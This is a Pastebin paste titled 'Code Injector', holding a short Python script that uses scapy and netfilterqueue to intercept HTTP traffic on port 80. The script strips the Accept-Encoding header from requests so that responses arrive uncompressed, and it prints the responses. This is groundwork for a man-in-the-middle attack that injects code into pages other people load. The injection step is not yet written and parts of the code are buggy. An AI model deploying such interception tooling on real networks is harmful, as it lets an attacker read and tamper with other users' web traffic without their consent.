Guest User

Code Injector

a guest
Dec 26th, 2020
24
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. from scapy.all import *
  2. import netfilterqueue
  3. import re
  4.  
  5. def set_load(pkt, load):
  6. pkt[Raw].load = load
  7. try:
  8. del pkt[IP].len
  9. del pkt[IP].chksum
  10. del pkt[UDP].len
  11. del pkt[UDP].chksum
  12. except:
  13. pass
  14. return pkt
  15.  
  16.  
  17. def process(packet):
  18. pkt = IP(packet.get_payload())
  19. if pkt.haslayer(Raw):
  20. if pkt[TCP].dport == 80:
  21. print('[+]Request')
  22. load = pkt[Raw].load
  23. mod_load = re.sub("Accept-Encoding:.*?\\r\\n",'',str(load))
  24. new_packet = set_load(pkt, mod_load)
  25. packet.set_payload(bytes(new_packet))
  26. elif pkt[TCP].sport == 80:
  27. print("[+]Response")
  28. print(pkt.show())
  29. packet.accept()
  30.  
  31.  
  32.  
  33. queue = netfilterqueue.NetfilterQueue()
  34. queue.bind(0,process)
  35. queue.run()
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×